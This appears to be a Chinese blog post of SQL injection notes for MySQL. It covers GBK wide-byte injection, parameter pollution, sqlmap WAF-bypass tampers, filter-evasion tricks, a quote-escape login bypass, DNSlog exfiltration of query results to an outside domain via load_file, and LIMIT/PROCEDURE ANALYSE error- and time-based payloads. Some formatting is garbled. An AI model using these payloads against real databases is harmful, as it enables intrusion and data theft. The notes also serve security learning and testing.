宽字节注入,bypass,dnslog注入,limit注入
宽字节注入
宽字节注入是由于转编码而形成的,那具有转编码功能的函数也成了漏洞的成因。
UTF8
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
GB2312是被GBK兼容的,它的高位范围是0xA1
0xF7,低位范围是0xA10xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c。
其它的宽字符集也是一样的分析过程,要吃掉%5c,只需要低位中包含正常的0x5c就行了。
- 宽字节注入与HTML页面编码是无关的
宽字节对转义字符的影响发生在character_set_client=gbk
的情况,也就是说,如果客户端发送的数据字符集是gbk
,则可能会吃掉转义字符\
,从而导致转义失败。 - 使用了
addslashes
函数
GBK编码,它的编码范围是0x8140~0xFEFE(不包括0xxx7F
),在遇到%df:(ascii(223)) >ascii(128)
时自动拼接%5c,因此吃掉‘\’,而%27、%20小于ascii(128)的字符就保留了。%df%27
,会把它看成一个汉字,但是%27会闭合前面的单引号
bypass
HPP:
HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。假设提交的参数即为:id=1&id=2&id=3
1 | 解析结果 |
sqlmap的各种bypass waf tamper:
1 | apostrophemask.py 用UTF-8全角字符替换单引号字符 |
mysql用户自定义变量
- 可以先在用户变量中保存值然后在以后引用它;这样可以将值从一个语句传递到另一个语句。用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。
- 用户变量的形式为@var_name,其中变量名var_name可以由当前字符集的文字数字字符、‘.’、‘_’和‘$’组成。 默认字符集是cp1252 (Latin1)。可以用mysqld的
--default-character-set
选项更改字符集。用户变量名对大小写不敏感。
设置用户变量的一个途径是执行SET语句SET @var_name = expr [, @var_name = expr] ...
- 对于SET,可以使用
=
或:=
作为分配符。分配给每个变量的expr可以为整数、实数、字符串或者NULL值。 - 也可以用语句代替SET来为用户变量分配一个值。在这种情况下,分配符必须为
:=
而不能用=
,因为在非SET语句中=
被视为一个比较 操作符:过滤单引号
过滤单引号
username 输入1\
password 输入or 1=1;#
sql:select * form user_table where username = '1\' and password = 'or 1=1;#'
username中输入的\转义了它后面的单引号,所以此时username ='1\ and password = '
,后面的or 1=1;
就生效了sql语句中空格的代替方法
- 过滤空格
url编码为:%20
,双写为%2%200
也可写作%a0
常见的绕过空格的就是多行注释1
2
3
4
5
6/*!50540select user()*/ mysql(独有)内联注释,!后面的数字是版本号,表示当数据库版本>=5.5.40时执行SQL语句(版本号五位)
/**/ mysql多行注释
%09,%0a,%0b,%0c,%0d,%20,%a0 一些空白字符
1.1、2.3、1. 浮点数形式
0e1、1e7 科学计数法
+、-、!、@、~、{}、"、'、()、`` 一些特殊字符SQL注入之基于DNS的注入(DNSlog注入)
测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决,但是盲注往往效率很低,所以产生了DNSlog注入。 - dns在递归查询时,会在dns服务器上保存log,所有经过dns服务器以及其子域名的查询都会在上面留下记录
- load_file()不仅可以读取本地文件,也可以对
\\example.com
这样的url发起请求
- show variables like ‘%secure%’查看load_file()可以读取的磁盘。
1
2
3
4
5secure_file_priv为空,就可以读取磁盘的目录。
secure_file_priv为D:\wamp\tmp,就可以读取G盘下wamp\tmp的文件。
secure_file_priv为null,load_file就不能加载文件。 - 通过更改mysql配置文件
my.ini
,设置secure_file_priv=””就是可以load_flie任意磁盘的文件。
- 我们可以使用dnslog平台或者自己搭建dns服务器,假设dnslog平台给你分配了一个三级级域名:
abc.dns.com
,如果查询三级域名xxx.abc.dns.com
,就会在dns服务器中留下记录,我们可以将payload写在第四级域名的位置 - 在mysql中执行
select load_file(concat('\\\\',[payload],'.abc.dns.com\\\aaa'));
(‘'会被转义,所以需要+上一个’'),payload的执行结果会被显示在第四级域名的位置,使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据) - 对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
Limit 注入
此方法适用于5.0.0<mysql<5.6.6
中
select语句:select id from t1 where num=123333 order by id limit 1,1
在select语法中,limit后面可以跟两个函数PROCEDURE
和 INTO
,INTO
除非有写入shell的权限,否则是无法利用的
使用procedure analyse进行报错注入
1 | mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
基于时间:SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)